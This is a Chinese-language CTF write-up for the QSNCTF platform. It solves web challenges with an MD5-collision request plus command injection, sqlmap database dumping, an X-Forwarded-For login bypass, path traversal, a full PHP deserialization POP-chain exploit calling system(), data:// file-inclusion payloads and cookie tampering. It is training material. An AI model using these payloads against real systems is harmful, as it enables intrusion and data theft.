QSNCTF_青少年CTF平台
hash碰撞
1.easy_web
把index.php用base64编码两次、hex编码一次,输入到url参数中,即可查看本题源码,进行分析。
编解码工具
base64:base - 在线工具
hex:base - 在线工具
burpsuite中的请求头
POST /index.php?img=&cmd=ca\t%20%2fflag
psot提交的参数(md5碰撞)
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
命令执行
1.nologin
启动环境
尝试sqlmap跑一手
sqlmap -r nologin.txt --dbs
存在漏洞
爆数据库名
爆ctf数据库的表名
脱库
sqlmap -r nologin.txt
尝试登录
抓个包,加个xff
X-Forwarded-For:127.0.0.1
成功进入后台
linux系统,尝试 ;ls
读取flag.php
发现应该不是当前目录下的flag.php文件
目录穿越去访问根目录下的flag。cat被过滤,使用tac进行查看。
cmd=%3Btac%20../../../f*
反序列化
1.兔年大吉
启动环境后是一段php代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Happy{
private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
die("Wishes can be fulfilled");
}
}
class Nevv{
private $happiness;
public function __invoke()
{
return $this->happiness->check();
}
}
class Rabbit{
private $aspiration;
public function __set($name,$val){
return $this->aspiration->family;
}
}
class Year{
public $key;
public $rabbit;
public function __construct($key)
{
$this->key = $key;
}
public function firecrackers()
{
return $this->rabbit->wish = "allkill QAQ";
}
public function __get($name)
{
$name = $this->rabbit;
$name();
}
public function __destruct()
{
if ($this->key == "happy new year") {
$this->firecrackers();
}else{
print("Welcome 2023!!!!!");
}
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
}else {
echo "过新年啊~过个吉祥年~";
}
?>
此处交由chatgpt进行分析,以下是他的回答
这段代码是一个简单的PHP脚本,让我们逐行进行分析:
highlight_file(__FILE__); 这行代码使用 highlight_file 函数来将当前文件的源代码输出到浏览器。它的作用是展示代码本身。
error_reporting(0); 这行代码设置错误报告级别为0,表示关闭所有错误报告。这意味着在脚本执行期间不会显示任何错误或警告。
接下来定义了一系列类:Happy、Nevv、Rabbit、Year。每个类都有一些方法和属性。
Happy 类有私有属性 $cmd 和 $content,并且定义了构造函数 __construct 用于初始化这两个属性的值。还有一个 __call 魔术方法,当调用未定义的方法时会自动调用该方法,并执行 $cmd 函数并传递 $content 参数。
Happy 类还有一个 __wakeup 魔术方法,当对象被反序列化时会自动调用该方法。这里的 __wakeup 方法直接终止脚本并输出一条消息。
Nevv 类实现了 __invoke 魔术方法,使对象可以被调用。在这个方法中,它调用了 $happiness 对象的 check 方法。
Rabbit 类定义了一个 __set 魔术方法,当给未定义的属性赋值时会自动调用该方法,并返回 $aspiration->family。
Year 类有两个公共属性 $key 和 $rabbit,并且定义了构造函数 __construct 用于初始化 $key 属性的值。类中还有一个 firecrackers 方法,设置 $rabbit 对象的 wish 属性为 "allkill QAQ"。
Year 类实现了 __get 魔术方法,当获取未定义的属性时会自动调用该方法。在这里,它将 $name 赋值为 $this->rabbit,然后调用 $name()。
Year 类还定义了一个 __destruct 魔术方法,在对象销毁时会自动调用。它检查 $key 属性的值是否为 "happy new year",如果是,则调用 firecrackers 方法,否则打印一条欢迎信息。
接下来是一个条件语句,检查 $_GET['pop'] 是否存在。如果存在,则调用 unserialize 函数对 $_GET['pop'] 进行反序列化赋值给变量 $a。否则,输出一条提示信息。
总体来说,这段代码使用了一些PHP的魔术方法和特性,比如对象的序列化和反序列化,以及动态调用方法和属性。然而,代码本身存在一些问题,比如没有对用户输入进行充分验证和过滤,存在安全风险,容易受到反序列化漏洞的攻击。在生产环境中,需要对用户输入进行严格的验证和过滤,以确保代码的安全性。
同时传递参数的位置是通过get方式传递pop的参数值
EXP为
URL ?pop=O%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A6%3A%22Rabbit%22%3A1%3A%7Bs%3A18%3A%22%00Rabbit%00aspiration%22%3BO%3A4%3A%22Year%22%3A2%3A%7Bs%3A3%3A%22key%22%3Bs%3A14%3A%22happy+new+year%22%3Bs%3A6%3A%22rabbit%22%3BO%3A4%3A%22Nevv%22%3A1%3A%7Bs%3A15%3A%22%00Nevv%00happiness%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A10%3A%22%00Happy%00cmd%22%3Bs%3A6%3A%22system%22%3Bs%3A14%3A%22%00Happy%00content%22%3Bs%3A9%3A%22tac+%2Fflag%22%3B%7D%7D%7D%7D%7D
滑到页面底部找到flag
C2
1.eval
源码中一眼看到eval函数
很简单,直接上蚁剑,在根目录下查看flag
文件包含
1.include 01
/?file=data://text/plain,<?php phpinfo();?>
/?file=data://text/plain,<?php system(“ls /“)?>
/?file=data://text/plain,<?php system(“cat /f*”)?>
因为在源码中可以看到过滤了flag所以需要使用f*来查看。
成功拿到flag
2.include 02 同上
cookie注入
1.新手的登录
根据用户名提示登录网页
将cookie中的user改为admin